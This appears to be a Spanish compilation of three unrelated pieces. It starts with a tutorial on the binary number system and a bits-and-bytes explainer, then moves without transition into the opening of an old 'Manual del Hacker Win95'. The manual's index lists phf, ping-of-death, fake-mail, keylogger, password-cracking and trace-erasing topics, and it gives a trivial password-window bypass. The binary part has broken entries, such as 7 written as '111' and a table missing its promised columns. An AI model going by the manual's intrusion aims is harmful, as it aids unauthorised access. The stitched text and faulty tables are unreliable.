Una serie completa de 8 trigramas y 64 hexagramas (análogos a 3 bit) y números binarios de 6 bit, eran conocidos en la antigua china en el texto clásico del I Ching. Series similares de combinaciones binarias también han sido utilizados en sistemas de adivinación tradicionales africanos, como el Ifá, así como en la geomancia medieval occidental.

Un arreglo binario ordenado de los hexagramas del I Ching, representando la secuencia decimal de 0 a 63, y un método para generar el mismo, fue desarrollado por el erudito y filósofo Chino Shao Yong en el siglo XI. Sin embargo, no hay ninguna prueba de que Shao entendió el cómputo binario.

En 1605 Francis Bacon habló de un sistema por el cual las letras del alfabeto podrían reducirse a secuencias de dígitos binarios, la cuales podrían ser codificados como variaciones apenas visibles en la fuente de cualquier texto arbitrario.

El sistema binario moderno fue documentado en su totalidad por Leibniz, en el siglo diecisiete, en su artículo "Explication de l'Arithmétique Binaire". En él se mencionan los símbolos binarios usados por matemáticos chinos. Leibniz usó el 0 y el 1, al igual que el sistema de numeración binario actual.

En 1854, el matemático británico George Boole, publicó un artículo que marcó un antes y un después, detallando un sistema de lógica que terminaría denominándose Álgebra de Boole. Dicho sistema desempeñaría un papel fundamental en el desarrollo del sistema binario actual, particularmente en el desarrollo de circuitos electrónicos.

Aplicaciones

En 1937, Claude Shannon realizó su tesis doctoral en el MIT, en la cual implementaba el Álgebra de Boole y aritmética binaria utilizando relés y conmutadores por primera vez en la historia. Titulada Un Análisis Simbólico de Circuitos Conmutadores y Relés, la tesis de Shannon básicamente fundó el diseño práctico de circuitos digitales.

En noviembre de 1937, George Stibitz, trabajando por aquel entonces en los Laboratorios Bell, construyó un ordenador basado en relés - al cual apodó "Modelo K" (porque lo construyó en una cocina, en inglés "kitchen"- que utilizaba la suma binaria para realizar los cálculos. Los Laboratorios Bell autorizaron un completo programa de investigación a finales de 1938, con Stibitz al mando. El 8 de enero de 1940 terminaron el diseño de una Calculadora de Números Complejos, la cual era capaz de realizar cálculos con números complejos. En una demostración en la conferencia de la Sociedad Americana de Matemáticas, el 11 de septiembre de 1940, Stibitz logró enviar comandos de manera remota a la Calculadora de Números Complejos a través de la línea telefónica mediante un teletipo. Fue la primera máquina computadora utilizada de manera remota a través de la línea de teléfono. Algunos participantes de la conferencia que presenciaron la demostración fueron John Von Neumann, John Mauchly y Norbert Wiener, el cual escribió acerca de dicho suceso en sus diferentes tipos de memorias en la cual alcanzó diferentes logros.
Véase también: Código binario

Representación

Un número binario puede ser representado por cualquier secuencia de bits (dígitos binarios), que a su vez pueden ser representados por cualquier mecanismo capaz de estar en dos estados mutuamente exclusivos. Las secuencias siguientes de símbolos podrían ser interpretadas todas como el mismo valor binario numérico:

1 0 1 0 0 1 1 0 1 0
| - | - - | | - | -
x o x o o x x o x o
y n y n n y y n y n

El valor numérico representado en cada caso depende del valor asignado a cada símbolo. En un ordenador, los valores numéricos pueden ser representados por dos voltajes diferentes y también se pueden usar polaridades magnéticas sobre un disco magnético. Un "positivo", "sí", o "sobre el estado" no es necesariamente el equivalente al valor numérico de uno; esto depende de la arquitectura usada.

De acuerdo con la representación acostumbrada de cifras que usan números árabes, los números binarios comúnmente son escritos usando los símbolos 0 y 1. Cuando son escritos, los números binarios son a menudo subindicados, prefijados o sufijados para indicar su base, o la raíz. Las notaciones siguientes son equivalentes:

* 100101 binario (declaración explícita de formato)
* 100101b (un sufijo que indica formato binario)
* 100101B (un sufijo que indica formato binario)
* bin 100101 (un prefijo que indica formato binario)
* 1001012 (un subíndice que indica base 2 (binaria) notación)
* %100101 (un prefijo que indica formato binario)
* 0b100101 (un prefijo que indica formato binario, común en lenguajes de programación)

Conversión entre binario y decimal

Decimal a binario

Se divide el número del sistema decimal entre 2, cuyo resultado entero se vuelve a dividir entre 2, y así sucesivamente. Ordenados los restos, del último al primero, este será el número binario que buscamos.

Ejemplo
Transformar el número decimal 131 en binario. El método es muy simple:

131 dividido por 2 da 65 y el resto es igual a 1
65 dividido por 2 da 32 y el resto es igual a 1
32 dividido por 2 da 16 y el resto es igual a 0
16 dividido por 2 da 8 y el resto es igual a 0
8 dividido por 2 da 4 y el resto es igual a 0
4 dividido por 2 da 2 y el resto es igual a 0
2 dividido por 2 da 1 y el resto es igual a 0
1 dividido por 2 da 0 y el resto es igual a 1
-> Ordenamos los restos, del último al primero: 10000011

en sistema binario, 131 se escribe 10000011

Ejemplo
Transformar el número decimal 100 en binario.

Archivo:Conversion.JPG

Otra forma de conversión consiste en un método parecido a la factorización en números primos. Es relativamente fácil dividir cualquier número entre 2. Este método consiste también en divisiones sucesivas. Dependiendo de si el número es par o impar, colocaremos un cero o un uno en la columna de la derecha. Si es impar, le restaremos uno y seguiremos dividiendo entre dos, hasta llegar a 1. Después sólo nos queda tomar el último resultado de la columna izquierda (que siempre será 1) y todos los de la columna de la derecha y ordenar los dígitos de abajo a arriba.

Ejemplo

100|0
50|0
25|1 --> 1, 25-1=24 y seguimos dividiendo por 2
12|0
6|0
3|1
1|1 --> (100)10 = (1100100)2

Existe un último método denominado de distribución. Consiste en distribuir los unos necesarios entre las potencias sucesivas de 2 de modo que su suma resulte ser el número decimal a convertir. Sea por ejemplo el número 151, para el que se necesitarán las 8 primeras potencias de 2, ya que la siguiente, 28=256, es superior al número a convertir. Se comienza poniendo un 1 en 128, por lo que aún faltarán 23, 151 - 128 = 23, para llegar al 151. Este valor se conseguirá distribuyendo unos entre las potencias cuya suma de el resultado buscado y poniendo ceros en el resto. En el ejemplo resultan ser las potencias 4, 2, 1 y 0, esto es, 16, 4, 2 y 1, respectivamente.

Ejemplo

20= 1|1
21= 2|1
22= 4|1
23= 0
24= 16|1
25= 32|0
26= 64|0
27= 121 128 + 16 + 4 + 2 + 1 = (151)10 = (10010111)2

Decimal (con decimales) a binario

Para transformar un número del sistema decimal al sistema binario:

1. Se inicia por el lado izquierdo, multiplicando cada número por 2 (si la parte entera es mayor que 0 en binario será 1, y en caso contrario es 0)
2. En caso de ser 1, en la siguiente multiplicación se utilizan sólo los decimales.
3. Después de realizar cada multiplicación, se colocan los números obtenidos en el orden de su obtención.
4. Algunos números se transforman en dígitos periódicos, por ejemplo: el 0,1

Ejemplo

0,3125 (decimal) => 0,0101 (binario).
Proceso:
0,3125 x 2 = 0,625 => 0
0,625 x 2 = 1,25 => 1
0,25 x 2 = 0,5 => 0
0,5 x 2 = 1 => 1
En orden: 0101 -> 0,0101 (binario)

Ejemplo

0,1 (decimal) => 0,0 0011 0011 ... (binario).
Proceso:
0,1 x 2 = 0,2 => 0
0,2 x 2 = 0,4 => 0
0,4 x 2 = 0,8 => 0
0,8 x 2 = 1,6 => 1
0,6 x 2 = 1,2 => 1
0,2 x 2 = 0,4 => 0 <- se repiten las cuatro cifras, periódicamente
0,4 x 2 = 0,8 => 0 <-
0,8 x 2 = 1,6 => 1 <-
0,6 x 2 = 1,2 => 1 <- ...
En orden: 0 0011 0011 ...

Binario a decimal

Para realizar la conversión de binario a decimal, realice lo siguiente:

1. Inicie por el lado derecho del número en binario, cada número multiplíquelo por 2 y elévelo a la potencia consecutiva (comenzando por la potencia 0).
2. Después de realizar cada una de las multiplicaciones, sume todas y el número resultante será el equivalente al sistema decimal.

Ejemplos:

* (Los números de arriba indican la potencia a la que hay que elevar 2)

\overset{5}{\mathop{1}}\,\overset{4}{\mathop{1}}\,\overset{3}{\mathop{0}}\,\overset{2}{\mathop{1}}\,\overset{1}{\mathop{0}}\,\overset{0}{\mathop{1}}\,_{2}=1\cdot 2^{5}+1\cdot 2^{4}+0\cdot 2^{3}+1\cdot 2^{2}+0\cdot 2^{1}+1\cdot 2^{0}=32+16+0+4+0+1=53

\overset{7}{\mathop{1}}\,\overset{6}{\mathop{0}}\,\overset{5}{\mathop{0}}\,\overset{4}{\mathop{1}}\,\overset{3}{\mathop{0}}\,\overset{2}{\mathop{1}}\,\overset{1}{\mathop{1}}\,\overset{0}{\mathop{1}}\,_{2}=1\cdot 2^{7}+0\cdot 2^{6}+0\cdot 2^{5}+1\cdot 2^{4}+0\cdot 2^{3}+1\cdot 2^{2}+1\cdot 2^{1}+1\cdot 2^{0}=128+0+0+16+0+4+2+1=151

\overset{5}{\mathop{1}}\,\overset{4}{\mathop{1}}\,\overset{3}{\mathop{0}}\,\overset{2}{\mathop{1}}\,\overset{1}{\mathop{1}}\,\overset{0}{\mathop{1}}\,_{2}=1\cdot 2^{5}+1\cdot 2^{4}+0\cdot 2^{3}+1\cdot 2^{2}+1\cdot 2^{1}+1\cdot 2^{0}=32+16+0+4+2+1=55

También se puede optar por utilizar los valores que presenta cada posición del número binario a ser transformado, comenzando de derecha a izquierda, y sumando los valores de las posiciones que tienen un 1.

Ejemplo

El número binario 1010010 corresponde en decimal al 82 se puede representar de la siguiente manera:

\overset{64}{\mathop{1}}\,\overset{32}{\mathop{0}}\,\overset{16}{\mathop{1}}\,\overset{8}{\mathop{0}}\,\overset{4}{\mathop{0}}\,\overset{2}{\mathop{1}}\,\overset{1}{\mathop{0}}\,_{2}

entonces se suma los números 64, 16 y 2:

\overset{64}{\mathop{1}}\,\overset{32}{\mathop{0}}\,\overset{16}{\mathop{1}}\,\overset{8}{\mathop{0}}\,\overset{4}{\mathop{0}}\,\overset{2}{\mathop{1}}\,\overset{1}{\mathop{0}}\,_{2}=64+16+2=82

Para cambiar de binario con decimales a decimal se hace exactamente igual, salvo que la posición cero (la que el dos es elevado a la cero) es la que está a la izquierda de la coma y se cuenta hacia la derecha a partir de -1:

\begin{align} & \overset{5}{\mathop{1}}\,\overset{4}{\mathop{1}}\,\overset{3}{\mathop{0}}\,\overset{2}{\mathop{1}}\,\overset{1}{\mathop{0}}\,\overset{0}{\mathop{1}}\,,\overset{-1}{\mathop{1}}\,\overset{-2}{\mathop{0}}\,\overset{-3}{\mathop{1}}\,=1\cdot 2^{5}+1\cdot 2^{4}+0\cdot 2^{3}+1\cdot 2^{2}+0\cdot 2^{1}+1\cdot 2^{0}+1\cdot 2^{-1}+0\cdot 2^{-2}+1\cdot 2^{-3}= \\ & =32+16+0+4+0+1+\frac{1}{2^{1}}+\frac{1}{2^{2}}+\frac{1}{2^{3}}=32+16+0+4+0+1+0,5+0+0,125=53,625 \\ \end{align}

Binario a decimal (con decimal binario)

1. Inicie por el lado izquierdo, cada número multiplíquelo por 2 y elévelo a la potencia consecutiva a la inversa(comenzando por la potencia -1). 2.Después de realizar cada una de las multiplicaciones, sume todas y el número resultante será el equivalente al sistema decimal.

Ejemplos

* 0.101001 (binario) = 0.640625(decimal). Proceso:

1*(2) elevado a (-1)=0.5
0*(2) elevado a (-2)=0
1*(2) elevado a (-3)=0.125
0*(2) elevado a (-4)=0
0*(2) elevado a (-5)=0
1*(2) elevado a (-6)=0.015625
La suma es: 0.640625

* 0.110111 (binario) = 0.859375(decimal). Proceso:

1*(2) elevado a (-1)=0.5
1*(2) elevado a (-2)=0.25
0*(2) elevado a (-3)=0
1*(2) elevado a (-4)=0.0625
1*(2) elevado a (-5)=0.03125
1*(2) elevado a (-6)=0.015625
La suma es: 0.859375

Operaciones con números binarios

Suma de números Binarios

Las posibles combinaciones al sumar dos bits son:

* 0 + 0 = 0
* 0 + 1 = 1
* 1 + 0 = 1
* 1 + 1 = 10 al sumar 1+1 siempre nos llevamos 1 a la siguiente operación.

Ejemplo

10011000
+ 00010101
———————————
10101101

Se puede convertir la operación binaria en una operación decimal, resolver la decimal, y después transformar el resultado en un (número) binario. Operamos como en el sistema decimal: comenzamos a sumar desde la derecha, en nuestro ejemplo, 1 + 1 = 10, entonces escribimos 0 en la fila del resultado y llevamos 1 (este "1" se llama acarreo o arrastre). A continuación se suma el acarreo a la siguiente columna: 1 + 0 + 0 = 1, y seguimos hasta terminar todas la columnas (exactamente como en decimal).

Resta de números binarios

El algoritmo de la resta en sistema binario es el mismo que en el sistema decimal. Pero conviene repasar la operación de restar en decimal para comprender la operación binaria, que es más sencilla. Los términos que intervienen en la resta se llaman minuendo, sustraendo y diferencia.

Las restas básicas 0 - 0, 1 - 0 y 1 - 1 son evidentes:

* 0 - 0 = 0
* 1 - 0 = 1
* 1 - 1 = 0
* 0 - 1 = 1 (se transforma en 10 - 1 = 1) (en sistema decimal equivale a 2 - 1 = 1)

La resta 0 - 1 se resuelve, igual que en el sistema decimal, tomando una unidad prestada de la posición siguiente: 0 - 1 = 1 y me llevo 1, lo que equivale a decir en el sistema decimal, 2 - 1 = 1.

Ejemplos

10001 11011001
-01010 -10101011
—————— —————————
00111 00101110

En sistema decimal sería: 17 - 10 = 7 y 217 - 171 = 46.

Para simplificar las restas y reducir la posibilidad de cometer errores hay varios métodos:

* Dividir los números largos en grupos. En el siguiente ejemplo, vemos cómo se divide una resta larga en tres restas cortas:

100110011101 1001 1001 1101
-010101110010 -0101 -0111 -0010
————————————— = ————— ————— —————
010000101011 0100 0010 1011

* Utilizando el complemento a dos (C2). La resta de dos números binarios puede obtenerse sumando al minuendo el «complemento a dos» del sustraendo.

Ejemplo

La siguiente resta, 91 - 46 = 45, en binario es:

1011011 1011011
-0101110 el C2 de 0101110 es 1010010 +1010010
———————— ————————
0101101 10101101

En el resultado nos sobra un bit, que se desborda por la izquierda. Pero, como el número resultante no puede ser más largo que el minuendo, el bit sobrante se desprecia.

Un último ejemplo: vamos a restar 219 - 23 = 196, directamente y utilizando el complemento a dos:

11011011 11011011
-00010111 el C2 de 00010111 es 11101001 +11101001
————————— —————————
11000100 111000100

Y, despreciando el bit que se desborda por la izquierda, llegamos al resultado correcto: 11000100 en binario, 196 en decimal.

* Utilizando el complemento a uno. La resta de dos números binarios puede obtenerse sumando al minuendo el complemento a uno del sustraendo y a su vez sumarle el bit que se desborda.

Producto de números binarios

El algoritmo del producto en binario es igual que en números decimales; aunque se lleva cabo con más sencillez, ya que el 0 multiplicado por cualquier número da 0, y el 1 es el elemento neutro del producto.

Por ejemplo, multipliquemos 10110 por 1001:

10110
1001
—————————
10110
00000
00000
10110
—————————
11000110

En sistemas electrónicos, donde suelen usarse números mayores, se utiliza el método llamado algoritmo de Booth.

11101111
111011
__________
11101111
11101111
00000000
11101111
11101111
11101111
______________
11011100010101

División de números binarios [editar]

La división en binario es similar a la decimal, la única diferencia es que a la hora de hacer las restas, dentro de la división, estas deben ser realizadas en binario.

Ejemplo

Dividir 100010010 (274) entre 1101 (13):

100010010 |1101
——————
- 0000 010101
———————
10001
- 1101
———————
01000
- 0000
———————
10000
- 1101
———————
00111
- 0000
———————
01110
- 1101
———————
00001

Conversión entre binario y octal

Binario a octal

Para realizar la conversión de binario a octal, realice lo siguiente:

1) Agrupe la cantidad binaria en grupos de 3 en 3 iniciando por el lado derecho. Si al terminar de agrupar no completa 3 dígitos, entonces agregue ceros a la izquierda.

2) Posteriormente vea el valor que corresponde de acuerdo a la tabla:
Número en binario 000 001 010 011 100 101 110 111
Número en octal 0 1 2 3 4 5 6 7

3) La cantidad correspondiente en octal se agrupa de izquierda a derecha.

Ejemplos

* 110111 (binario) = 67 (octal). Proceso:

111 = 7
110 = 6
Agrupe de izquierda a derecha: 67

* 11001111 (binario) = 317 (octal). Proceso:

111 = 7
001 = 1
11 entonces agregue un cero, con lo que se obtiene 011 = 3
Agrupe de izquierda a derecha: 317

* 1000011 (binario) = 103 (octal). Proceso:

011 = 3
000 = 0
1 entonces agregue 001 = 1
Agrupe de izquierda a derecha: 103

Octal a binario [editar]

Cada dígito octal se lo convierte en su binario equivalente de 3 bits y se juntan en el mismo orden.

Ejemplo

* 247 (octal) = 010100111 (binario). El 2 en binario es 10, pero en binario de 3 bits es Oc(2) = B(010); el Oc(4) = B(100) y el Oc(7) = (111), luego el número en binario será 010100111.

Conversión entre binario y hexadecimal
Binario a hexadecimal

Para realizar la conversión de binario a hexadecimal, realice lo siguiente:

1) Agrupe la cantidad binaria en grupos de 4 en 4 iniciando por el lado derecho. Si al terminar de agrupar no completa 4 dígitos, entonces agregue ceros a la izquierda.

2) Posteriormente vea el valor que corresponde de acuerdo a la tabla:
Número en binario 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 1010 1011 1100 1101 1110 1111
Número en hexadecimal 0 1 2 3 4 5 6 7 8 9 A B C D E F

3) La cantidad correspondiente en hexadecimal se agrupa de derecha a izquierda.

Ejemplos

* 110111010 (binario) = 1BA (hexadecimal). Proceso:

1010 = A
1011 = B
1 entonces agregue 0001 = 1
Agrupe de derecha a izquierda: 1BA

* 11011110101 (binario) = 6F5 (hexadecimal). Proceso:

0101 = 5
1111 = F
110 entonces agregue 0110 = 6

Agrupe de derecha a izquierda: 6F5

Hexadecimal a binario

Ídem que para pasar de octal a binario, sólo que se remplaza por el equivalente de 4 bits, como de octal a binario.

Tabla de conversión entre decimal, binario, hexadecimal, octal, BCD, Exceso 3 y Código Gray o Reflejado
Decimal Binario Reflejado |
0 0000
1 0001
2 0010
3 0011
4 0100
5 0101
6 0110
7 111
8 1000
9 1001
10 1010
11 1011
12 1100
13 1101
14 1110
15 1111








01000001 A
01000010 B
01000011 C
01000100 D
01000101 E
01000110 F
01000111 G
01001000 H
01001001 I
01001010 J
01001011 K
01001100 L
01001101 M
01001110 N
01001111 O
01010000 P
01010001 Q
01010010 R
01010011 S
01010100 T
01010101 U
01010110 V
01010111 W
01011000 X
01011001 Y
01011010 Z

01001000 01001111 01001100 01000001
H________O________l________A
01010100 01000001 01010010 01001001 01001110 01000111 01000001
T_______A_________R________I________N________G_______A

Como funcionan los bits y los bytes


Aquel que haya usado una computadora por más de 5 minutos, ha escuchado las palabras bits y bytes. Las capacidades del RAM y de los discos duros se miden en bytes.

Pueden haber escuchado un anuncio “Esta computadora tiene procesador de 64 bits y 2 Gigabytes de RAM y 250 GB de disco duro”

Ahora, la forma mas fácil de entender los bits, es comparándolos con algo que conocemos “dígitos”. Un digito es un lugar que puede contener un valor numérico entre 0 y 9. Los dígitos normalmente se combinan para formar números más grandes. Por ejemplo, 7,536 tiene 4 dígitos. Es bien entendido que en el numero 7,536, el 6 llena el lugar de las unidades, el 3 el de las decenas, el 5 el de las centenas y el 7 el de los millares. Ahora siendo explícitos lo podríamos poner de la siguiente manera:

(7 * 1000) + (5 * 100) + (3 * 10) + (6 * 1) = 7000 + 500 + 30 + 6 = 7536

Otra forma de expresarlos seria utilizando potencias de 10. (Asumiendo que vamos a representar el concepto de “elevar a la potencia de” con el símbolo "^" para que “10 al cuadrado se escriba "10^2"”) de la siguiente manera:

(7 * 10^3) + (5 * 10^2) + (3 * 10^1) + (6 * 10^0) = 7000 + 500 + 30 + 6 = 7536

Lo que se puede ver de esta expresión es que cada digito reserva un espacio para la siguiente potencia de 10, empezando por el primer digito con 10 a la cero.

Ahora, las expresiones anteriores están basadas en un sistema decimal, pero lo interesante de los sistemas numéricos es que no estamos forzados a tener 10 valores distintos en un mismo digito. Nuestro sistema base-10 es probable que se haya creado dado que tenemos 10 dedos, pero si hubiéramos evolucionado con 8, lo mas probables es que fuera base-8. Podemos tener sistemas base-n o “base-cualquier número”. De hecho hay muy buenas razones para usar diferentes sistemas en otras situaciones.

Las computadoras operan con un sistema base-2, también conocido como el sistema numérico binario. La razón por la cual las computadoras usan el sistema base-2 es, porque es mas fácil implementarlo con la actual tecnología electrónica. Se podría cablear y construir computadoras que operen en base-10, pero serian extremadamente costosas por el momento, mientras que las basadas en binario son relativamente baratas.

Entonces, las computadoras usan números binarios y por ende dígitos binarios en lugar de decimales. La palabra bit es un diminutivo de digito binario “Binari digIT”. Ahora, donde los números decimales pueden tener 10 valores distintos que van del 0 al 9, los bits solos tienen dos posibles valores: 0 o 1. Es por eso que los números binarios se componen solamente de 0 y 1 como este: 1011. Ahora, ¿como sabemos cual es el valor del número binario 1011? , Lo hacemos de la misma forma en que lo hicimos con el número 7536, pero utilizamos base-2 en vez de base-10, entonces:

(1 * 2^3) + (0 * 2^2) + (1 * 2^1) + (1 * 2^0) = 8 + 0 + 2 + 1 = 11

Se puede ver que en los números binarios, cada bit mantiene el valor de potencias incrementales de 2, eso hace que contar en binario sea bastante fácil, si contáramos del 0 al 20 en decimal y binario se vería de la siguiente manera:

0 = 0

1 = 1

2 = 10

3 = 11

4 = 100

5 = 101

6 = 110

7 = 111

8 = 1000

9 = 1001

10 = 1010

11 = 1011

12 = 1100

13 = 1101

14 = 1110

15 = 1111

16 = 10000

17 = 10001

18 = 10010

19 = 10011

20 = 10100

Cuando uno ve esta secuencia, los 0 y 1 son los mismos para el sistema decimal y binario. En el número 2, se ve que el sistema binario hace los primeros acarreos. Si un bit es 1, y uno agrega 1 a el, el bit se convierte en 0 y el siguiente bit se convierte en 1. En la transición del 15 al 16 este efecto salta hasta el 4 bit, convirtiendo el 1111 en 10000.

Los bits son raramente vistos solos en las computadoras. La mayoría de las veces se encuentran unidos en grupos de 8 bits, esta colección de bits se llama BYTES. ¿Porque es que hay 8 bits en un byte? Una pregunta similar seria ¿porque hay doce huevos en una docena? El byte de 8 bits es algo que la gente acordó en base a prueba y error en los últimos 50 años.

Con 8 bits en un byte, uno puede representar 256 valores en un rango del 0 al 255 que se muestra a continuación:

0 = 00000000

1 = 00000001

2 = 00000010

...

254 = 11111110

255 = 11111111

Los bytes son frecuentemente usados para almacenar caracteres individuales en un documento de texto. En el código ASCII cada valor binario entre 0 y 127 es asignado con un carácter específico. La mayoría de las computadoras extienden el código ASCII para usar el rango completo de 256 caracteres disponibles en un byte.
Las computadoras almacenan documentos de texto en disco como en memoria, utilizando estos códigos. Por ejemplo, si utilizaras Gedit (Linux) o Notepad (Windows) para crear un documento de texto conteniendo las siguientes palabras “Hola mundo”, estos utilizarían 1 byte de memoria por carácter (incluyendo 1 byte por el espacio entre palabras “Carácter ASCII no.32”).

Hagan esta prueba. Abran un nuevo archivo en Gedit o Notepad e inserten “Hola mundo” en el. Graben el archivo en disco bajo el nombre de prueba.txt y después usen el visor de archivos que utilicen y miren el tamaño del archivo. Encontraran que el archivo es de 10 bytes en disco, 1 byte por cada carácter. Si agregaran otra palabra a la frase, el archivo se incrementaría en bytes, cubriendo la misma cantidad de caracteres a 1 byte por carácter.
Si fueran a ver el archivo como lo ve la computadora, verían que cada byte contiene un número y no una letra. El número es el código ASCII que corresponde al carácter utilizado. Por lo que en disco, los números del archivo se verían así:

H o l a m u n d o

72 111 108 97 32 109 117 110 100 111

Si observáramos una tabla del código ASCII, veríamos que hay una correspondencia entre cada carácter y código ASCII utilizado. Observen que el 32 se utiliza para el espacio, el 32 es el espacio en el código ASCII. Ahora, podríamos expandir estos números al sistema binario (32 = 00100000) si quisiéramos estar técnicamente correctos, porque así es como una computadora realmente maneja las cosas.
Cuando uno empieza a hablar de muchos bytes, uno entra en el mundo de los prefijos, como el kilo, mega y giga, como en kilobyte, megabyte y gigabyte (abreviados Kbytes, Mbytes y Gbytes o KB, MB, y GB). La siguiente tabla muestra los multiplicadores binarios:



Uno puede ver en esta gráfica que kilo es como mil, mega es como un millón, giga es como mil millones, etc. Así que cuando alguien dice “Esta computadora tiene un disco duro de 80 GB, o 85,899,345,920 bytes, uno se pregunta como es posible necesitar tanto espacio, pero la realidad es que las bases de datos compuestas de Terabytes son muy comunes, y es probable que el pentágono tenga bases de datos de múltiples Petabytes.

La matemática binaria funciona igual que la matemática decimal, excepto que el valor de cada bit solo puede ser 1 o 0. Para percibir la matemática binaria, empecemos con una suma decimal y ver como funciona. Asuman que queremos sumar estos dos números 452 y 751:

452

+ 751

---

1203

Para sumar estos dos números podemos empezar sumando los de la derecha: 2 + 1 = 3. Ningún problema. Después 5 + 5 = 10, así que guardan el 0 y acarrean el 1 a las centenas. Después 4 + 7 + 1(lo acarrearon) = 12, guardan el 2 y acarrean el 1. Finalmente, 0 + 0 + 1 = 1. La respuesta es 1203.

La suma binaria funciona exactamente igual:

010

+ 111

---

1001

Empezando a la derecha, 0 + 1 = 1 para el primer digito, después 1 + 1 = 10 para el segundo digito, se guarda el 0 y se acarrea el 1. Después 0 + 1 + 1 = 10, se guarda el 0 y se acarrea el 1, y al final, 0 + 0 + 1 = 1. La respuesta es 1001. Si tradujéramos todo a decimal veríamos que es correcto 2 + 7 = 9.

En resumen esto es lo que hemos visto acerca de bits y bytes:

* Los bits son dígitos binarios, un bit puede tener valor 0 o 1.
* Los bytes están compuestos por 8 bits cada uno
* La matemática binaria funciona exactamente como la decimal, con la única diferencia de que cada bit solo puede tener valor de 0 o 1.

La verdad no hay nada mas que agregar, los bits y los bytes son así de simples.


Fuente: http://www.alcancelibre.org/article.php

Manual del Hacker Win95(Parte 01/02)

Aprende a ser un maestro de la computación...

Nota Del Autor: No me hago responsable de la mala utilizacion de la informacion aqui expuesta ya que tan solo es para fines didacticos.

Esta guia es de distribucion libre excepto para las instituciones gubernamentales que deberan abonar 2000 pts a alguna fundacion para apadrinar niños.


Índice


......................... Que Es Esta Guia Exactamente ?

2 ......................... Descripcion General De Windows.

2a ....................... Seguridad En Windows.

3 ......................... Protocolo TCP/IP y Demas Historias.

3a ....................... Puertos.

3b ....................... Ftp.

3c ....................... Telnet.

4 ......................... Hacking Basico En Windows.

4a ....................... Phf.

4b ....................... Ftp.

4c ....................... Ping De La Muerte.

4d ....................... Recursos Compartidos.

4e ....................... Fake Mail Con El Telnet.

4f ....................... Cambiando El Entorno.

4g ....................... Finger.

4h ....................... Whois.

4i ....................... Tracert.

5 ......................... Utilizacion De Tools.

5a ....................... SkamWerks Lab version 1.1b.

5b ....................... WaReZ! Version 95.12.31.

5c ....................... John the Ripper v1.4.

5d ....................... Gobbler v 2.1.

5e ....................... Modificando el WS_FTP.

5f ....................... Sharepasswd.

5g ....................... Snadboy's Revelation v1.1.

5h ....................... Keylog95.

5i ....................... Glide.

5j ....................... Win95 AnonyMail v 1.0.

5k ....................... Hacker's Utility, V 1.02.

5l ....................... Haktek v1.1.

5m ....................... Claymore Brute Force.

6 ......................... Medidas De Seguridad.

6a ....................... Protegiendo Nuestro Ordenador.

6a1 ..................... Ataques Tipicos a Nuestro Windows.

6a2 ..................... Encriptacion De Nuestra Informacion.

6a3 ..................... Eliminar Informacion De Forma Segura.

6a4 ..................... Eliminacion De Virus.

6b ....................... Protegiendo Nuestras Acciones.

6b1 ..................... Borrando Nuestras Huellas.

6b2 ..................... Encriptando Nuestro Correo.

7 ......................... Sugerencias Para Un Mejor Hacking.

8 ......................... Obtener Informacion.

9 ......................... Despedida.

9a ....................... Agradecimientos.


1. Que Es Esta Guia Exactamente ?



Esta guia esta enfocado hacia todo aquel que quiere ser hacker pero no quiere aprender unix o no lo sabe manejar (grave error). Pues por esta razon esta guia esta enfocada a los usuarios de windows, principalmente los de win95. Por el contrario esta guia no se dedicara al NT o Unix, aunque por supuesto se hara referencia a estos sistemas sobre todo cuando son estos mismos Sistemas Operativos en los cuales se centraran nuestros actos, supuestamente legales

Todo esto que digo puede sonar tonterias y puedes p0ensar que en win95 no podras llegar a ser un gran hacker porque es necesario conocer unix, y estoy totalmente de acuerdo, pero solo pretendo dar una oportunidad para hacer sus pinitos a aquellos que solo saber usar win95, yo por mi parte aconsejo aprender unix por varias razones que no viene a cuento en esta guia.

Con esta guia te convertiras en un magnifico Hacker usando un sistema que no es propenso al hacking. Como es normal al usar win95 estaremos muy limitados en muchos aspectos pero podras aprender por ejemplo, algunos bug que podras usar en tu favor, la utilizacion de diversas herramientas hacker que no estan disponibles generalemente en win95 y ademas a usar los recursos que te ofrece Internet en tu favor, abreviando un poco tanta charla, llegaras a conocer la red de una forma diferente y a manejar win95 de forma distinta a lo conocido hasta ahora.

2. Descripcion General De Windows.



Como todos sabemos el windows95 es un popular sistema operativo de la casa Microsoft, el cual es conocido tanto por sus adepto ya que es muy sencillo y vistoso pero al igual tambien es muy conocido por su inseguridad en casi todos sus aspectos, ademas no ofrece tanta versativilidad como otros sistemas operativos. Por ejemplo este es el caso de su "Multitarea" la cual es virtual y no real, si quieres hacer la prueba pon en marcha el defrag y ejecuta otro programa y veras esa famosa Multitarea.

El win95 es un sistema operativo de 32 bits multitarea, que es muy comodo para la gente que busca facilidad, pero no te enga¤es pensando que es un sistema ideal para Internet, puede que para un usuario convencional le sea estupendo pero para un Hacker se queda muy corto de calle, ya que le falta muchos servicios que otros sistemas operativos si traen como el que ya tantas veces he repetido, el Unix (se nota que me encanta??.

Aqui os dejo de dar la murga sobre win95 ya que este texto no esta destinado a hablar sobre este sistema sino a usarlo para hackear. Ademas no creo que este contando nada nuevo sobre windows o sea que mejor me callo y si no sabes mucho sobre win95, pues ya sabes comprate un libro.

2a. Seguridad En Windows.

Como todos sabemos la seguridad en win95 es nula, es decir, win95 no tiene seguridad por si mismo, un claro ejemplo de esto que es las entanas que nos piden un password las podemos cerrar pulsando sobre la X o tambien nos basta con pulsar ctrl+atl+supr, con lo que nos salteremo esta ventana sin meter ningun password.

Por eso para que nuestro ventanas (nombre que se le da a win95 tendremos que instalarle algun paquete de seguridad disponible por la red, que hay muchos y buenos y lo mejor es que son Freeware (gratis) aunque siempre puedes comprar algun paquete comercial de seguridad, en mi opinion alguna veces una tonteria, ya que nos pueden cobrar un precio abusivo y cuando llega la oportunidad de demostrar su calidad nos falla, ya que no hay nada seguro 100%.

Proteger nuestro win95 es cosa de cada uno pero tranquilidad, que la cosa no es muy dificil, es cuestion de estar atento a las novedades, en otras palabras estar informado. Mas abajo ya te entereras de estas cosas.

3. Protocolo TCP/IP y Demas Historias.

El protocolo TCP/IP, es el mas usado y seguramente no lo sabias, ya que engloba casi todos los servicios que solemos usar como por ejemplo cuando hacemos telnet, mail, ftp o cualquier cosa.

TCP/IP proviene de Transmission Control Protocol y Internet Protocol respectivamente. Por fortuna para los usuarios de win95, este protocolo ya viene incorporado nativamente en el sistema, al contrario que ocurria con el windows 3.x, el cual lo teniamos que instalar para poder conectar a Internet.

